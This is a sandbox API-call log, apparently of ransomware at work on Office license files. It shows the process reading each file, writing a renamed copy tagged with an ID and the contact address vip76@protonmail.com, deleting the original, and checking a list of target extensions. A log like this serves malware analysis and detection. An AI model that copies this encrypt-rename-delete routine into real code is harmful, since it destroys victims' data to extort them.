	[0191.101] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.101] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x108, lpOverlapped=0x0) returned 1
	[0191.101] SetEndOfFile (hFile=0x36c) returned 1
	[0191.101] CloseHandle (hObject=0x36c) returned 1
	[0191.101] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.101] SetEndOfFile (hFile=0x580) returned 1
	[0191.104] CloseHandle (hObject=0x580) returned 1
	[0191.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0191.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 1
	[0191.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0191.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0191.106] lstrlenW (lpString=".doc") returned 4
	[0191.106] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.106] lstrlenW (lpString=".docx") returned 5
	[0191.106] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.106] lstrlenW (lpString=".pdf") returned 4
	[0191.106] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.106] lstrlenW (lpString=".xls") returned 4
	[0191.106] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.106] lstrlenW (lpString=".xlsx") returned 5
	[0191.106] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.106] lstrlenW (lpString=".ppt") returned 4
	[0191.106] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0191.106] lstrlenW (lpString=".zip") returned 4
	[0191.106] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.106] lstrlenW (lpString=".rar") returned 4
	[0191.106] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.106] lstrlenW (lpString=".bz2") returned 4
	[0191.107] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.107] lstrlenW (lpString=".7z") returned 3
	[0191.107] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0191.107] lstrlenW (lpString=".dbf") returned 4
	[0191.107] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0191.107] lstrlenW (lpString=".1cd") returned 4
	[0191.107] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0191.107] lstrlenW (lpString=".jpg") returned 4
	[0191.107] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0191.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0191.107] lstrlenW (lpString=".doc") returned 4
	[0191.107] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.107] lstrlenW (lpString=".docx") returned 5
	[0191.107] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.107] lstrlenW (lpString=".pdf") returned 4
	[0191.107] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.107] lstrlenW (lpString=".xls") returned 4
	[0191.107] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.107] lstrlenW (lpString=".xlsx") returned 5
	[0191.107] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.107] lstrlenW (lpString=".ppt") returned 4
	[0191.107] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0191.108] lstrlenW (lpString=".zip") returned 4
	[0191.108] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.108] lstrlenW (lpString=".rar") returned 4
	[0191.108] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.108] lstrlenW (lpString=".bz2") returned 4
	[0191.108] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.108] lstrlenW (lpString=".7z") returned 3
	[0191.108] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0191.108] lstrlenW (lpString=".dbf") returned 4
	[0191.108] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0191.108] lstrlenW (lpString=".1cd") returned 4
	[0191.108] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0191.108] lstrlenW (lpString=".jpg") returned 4
	[0191.108] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.108] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0191.108] lstrlenW (lpString="client-issuance-bridge-office.xrm-ms") returned 36
	[0191.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0191.109] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=3211) returned 1
	[0191.109] CloseHandle (hObject=0x580) returned 1
	[0191.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 0x220
	[0191.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0191.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0191.173] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.173] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0191.175] GetLastError () returned 0x0
	[0191.175] ReadFile (in: hFile=0x5e8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0xc8b, lpOverlapped=0x0) returned 1
	[0191.241] WriteFile (in: hFile=0x580, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xc90, lpOverlapped=0x0) returned 1
	[0191.242] ReadFile (in: hFile=0x5e8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.242] WriteFile (in: hFile=0x580, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x11c, lpOverlapped=0x0) returned 1
	[0191.242] SetEndOfFile (hFile=0x580) returned 1
	[0191.243] CloseHandle (hObject=0x580) returned 1
	[0191.243] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.243] SetEndOfFile (hFile=0x5e8) returned 1
	[0191.885] CloseHandle (hObject=0x5e8) returned 1
	[0191.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0191.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 1
	[0191.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0191.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0191.891] lstrlenW (lpString=".doc") returned 4
	[0191.891] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.891] lstrlenW (lpString=".docx") returned 5
	[0191.891] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.891] lstrlenW (lpString=".pdf") returned 4
	[0191.891] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.892] lstrlenW (lpString=".xls") returned 4
	[0191.892] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.892] lstrlenW (lpString=".xlsx") returned 5
	[0191.892] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.892] lstrlenW (lpString=".ppt") returned 4
	[0191.892] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0191.892] lstrlenW (lpString=".zip") returned 4
	[0191.892] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.892] lstrlenW (lpString=".rar") returned 4
	[0191.892] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.892] lstrlenW (lpString=".bz2") returned 4
	[0191.892] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.892] lstrlenW (lpString=".7z") returned 3
	[0191.892] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0191.892] lstrlenW (lpString=".dbf") returned 4
	[0191.892] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0191.892] lstrlenW (lpString=".1cd") returned 4
	[0191.892] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0191.892] lstrlenW (lpString=".jpg") returned 4
	[0191.892] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0191.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0191.892] lstrlenW (lpString=".doc") returned 4
	[0191.892] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.893] lstrlenW (lpString=".docx") returned 5
	[0191.893] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.893] lstrlenW (lpString=".pdf") returned 4
	[0191.893] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.893] lstrlenW (lpString=".xls") returned 4
	[0191.893] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.893] lstrlenW (lpString=".xlsx") returned 5
	[0191.893] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.893] lstrlenW (lpString=".ppt") returned 4
	[0191.893] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0191.893] lstrlenW (lpString=".zip") returned 4
	[0191.893] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.893] lstrlenW (lpString=".rar") returned 4
	[0191.893] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.893] lstrlenW (lpString=".bz2") returned 4
	[0191.893] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.893] lstrlenW (lpString=".7z") returned 3
	[0191.893] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0191.893] lstrlenW (lpString=".dbf") returned 4
	[0191.893] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0191.893] lstrlenW (lpString=".1cd") returned 4
	[0191.893] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0191.893] lstrlenW (lpString=".jpg") returned 4
	[0191.893] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.894] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0191.894] lstrlenW (lpString="client-issuance-root-bridge-test.xrm-ms") returned 39
	[0191.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0191.895] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=3219) returned 1
	[0191.895] CloseHandle (hObject=0x5e8) returned 1
	[0191.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 0x220
	[0191.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0191.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0191.896] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.896] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0191.897] GetLastError () returned 0x0
	[0191.897] ReadFile (in: hFile=0x5e8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0xc93, lpOverlapped=0x0) returned 1
	[0191.899] WriteFile (in: hFile=0x5c4, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xca0, lpOverlapped=0x0) returned 1
	[0191.900] ReadFile (in: hFile=0x5e8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.900] WriteFile (in: hFile=0x5c4, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x122, lpOverlapped=0x0) returned 1
	[0191.901] SetEndOfFile (hFile=0x5c4) returned 1
	[0191.901] CloseHandle (hObject=0x5c4) returned 1
	[0191.901] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.901] SetEndOfFile (hFile=0x5e8) returned 1
	[0191.904] CloseHandle (hObject=0x5e8) returned 1
	[0191.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0191.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 1
	[0191.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0191.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0191.905] lstrlenW (lpString=".doc") returned 4
	[0191.905] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.905] lstrlenW (lpString=".docx") returned 5
	[0191.905] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.905] lstrlenW (lpString=".pdf") returned 4
	[0191.905] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.905] lstrlenW (lpString=".xls") returned 4
	[0191.905] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.905] lstrlenW (lpString=".xlsx") returned 5
	[0191.905] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.906] lstrlenW (lpString=".ppt") returned 4
	[0191.906] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0191.906] lstrlenW (lpString=".zip") returned 4
	[0191.906] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.906] lstrlenW (lpString=".rar") returned 4
	[0191.906] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.906] lstrlenW (lpString=".bz2") returned 4
	[0191.906] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.906] lstrlenW (lpString=".7z") returned 3
	[0191.906] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0191.906] lstrlenW (lpString=".dbf") returned 4
	[0191.906] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0191.906] lstrlenW (lpString=".1cd") returned 4
	[0191.906] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0191.906] lstrlenW (lpString=".jpg") returned 4
	[0191.906] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0191.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0191.906] lstrlenW (lpString=".doc") returned 4
	[0191.906] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.906] lstrlenW (lpString=".docx") returned 5
	[0191.906] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.906] lstrlenW (lpString=".pdf") returned 4
	[0191.906] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.906] lstrlenW (lpString=".xls") returned 4
	[0191.907] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.907] lstrlenW (lpString=".xlsx") returned 5
	[0191.907] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.907] lstrlenW (lpString=".ppt") returned 4
	[0191.907] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0191.907] lstrlenW (lpString=".zip") returned 4
	[0191.907] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.907] lstrlenW (lpString=".rar") returned 4
	[0191.907] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.907] lstrlenW (lpString=".bz2") returned 4
	[0191.907] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.907] lstrlenW (lpString=".7z") returned 3
	[0191.907] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0191.907] lstrlenW (lpString=".dbf") returned 4
	[0191.907] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0191.907] lstrlenW (lpString=".1cd") returned 4
	[0191.907] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0191.907] lstrlenW (lpString=".jpg") returned 4
	[0191.907] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.907] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0191.908] lstrlenW (lpString="client-issuance-root.xrm-ms") returned 27
	[0191.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0191.909] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=3103) returned 1
	[0191.909] CloseHandle (hObject=0x5e8) returned 1
	[0191.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 0x220
	[0191.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0191.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0191.910] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.910] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0191.911] GetLastError () returned 0x0
